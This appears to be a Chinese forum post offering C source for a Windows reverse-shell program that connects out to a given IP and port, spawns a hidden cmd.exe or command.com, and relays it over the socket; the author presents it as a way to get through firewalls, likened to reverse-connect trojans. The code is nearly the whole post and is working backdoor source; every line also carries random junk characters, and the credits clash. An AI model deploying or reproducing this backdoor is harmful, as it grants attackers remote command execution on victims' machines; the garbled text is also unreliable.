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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i9y&<^<W  
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/* ============================== iLG~_Ob:  
Rebound port in Windows NT (yi{<$ U*  
By wind,2006/7 nYO4JlNP  
===============================*/ 3+r8yiY  
#include Uzd\#edxJ  
#include SN|:{Am  
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#pragma comment(lib,"wsock32.lib") #k<j`0kiq  
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void OutputShell(); 9p<ZSh  
SOCKET sClient; T=->~@5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C9FQo7   
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void main(int argc,char **argv) 9!oNyqQ  
{ !`#xFRHe  
WSADATA stWsaData; 38eeRo  
int nRet; +tPqU6  
SOCKADDR_IN stSaiClient,stSaiServer; [0mg\n?  
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if(argc != 3) V$fvf#T  
{ bT{iei]?  
printf("Useage:\n\rRebound DestIP DestPort\n"); F]~>qt<ia  
return; Wi(Ac8uh  
} y2 ,M9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4&([<gyR<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eo&nAr  
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stSaiClient.sin_family = AF_INET; S&YC"  
stSaiClient.sin_port = htons(0); R7d45Wl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]\5?E }kd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \`M8Mu9~w  
{ _}-Ed,.=  
printf("Bind Socket Failed!\n"); !z]2+  
return; F"Y.'my8  
} Sq,x57-  
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stSaiServer.sin_family = AF_INET; &I$MV5)u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ("B[P/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WD7IF+v  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >FabmIcC  
{ oMV<Yn_<  
printf("Connect Error!"); /&#Gh?z  
return; / `Glf|  
} Th6xwMq  
OutputShell(); t\$P*_  
} %Z=%E!*  
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void OutputShell() '=2/0-;Jf  
{ = j,Hxq  
char szBuff[1024]; Y[ciT)  
SECURITY_ATTRIBUTES stSecurityAttributes; D-tm'APq  
OSVERSIONINFO stOsversionInfo; r#%z1u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MIJ^ n(-G  
STARTUPINFO stStartupInfo; vP{22P  
char *szShell; 58@YWv Ak  
PROCESS_INFORMATION stProcessInformation; EBX+fzjQo  
unsigned long lBytesRead; >qBQfz:U>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j:;[Y`2  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :Ej#qYi  
stSecurityAttributes.lpSecurityDescriptor = 0; )E.!jL:g  
stSecurityAttributes.bInheritHandle = TRUE; rVE!mi]%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V_T.#"C4=z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n@)Kf A)&  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,33[/j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n5~7x   
stStartupInfo.wShowWindow = SW_HIDE; N%k6*FBp~  
stStartupInfo.hStdInput = hReadPipe; M(a lc9tn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YnzhvE  
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GetVersionEx(&stOsversionInfo); j[Y$)HF  
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switch(stOsversionInfo.dwPlatformId) axSJ:j8  
{  M[^  
case 1:  Ip0~  
szShell = "command.com"; Mbua!m(0  
break; /Jjub3>Q  
default: %)$^_4.g  
szShell = "cmd.exe"; i*We kr3Wo  
break; PYYK R  
} {WE1^&Vk-}  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9BJP|L%q  
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send(sClient,szMsg,77,0); &G)I|mv  
while(1) ?~vVSY  
{ 0GtL6M@pP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 78}QaE  
if(lBytesRead) ZPieL&uV`  
{ zF9SZ#{a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (|<e4HfZL  
send(sClient,szBuff,lBytesRead,0); 0@K?'6  
} 'Olp2g8=  
else 6 K+DgNK  
{ =r3%jWH6  
lBytesRead=recv(sClient,szBuff,1024,0); H6Mqy}4W  
if(lBytesRead<=0) break; E,S[3+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Li jisE  
} QgZwU$`p0  
} o"te7nBI  
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return; Ua>lf8w<  
}
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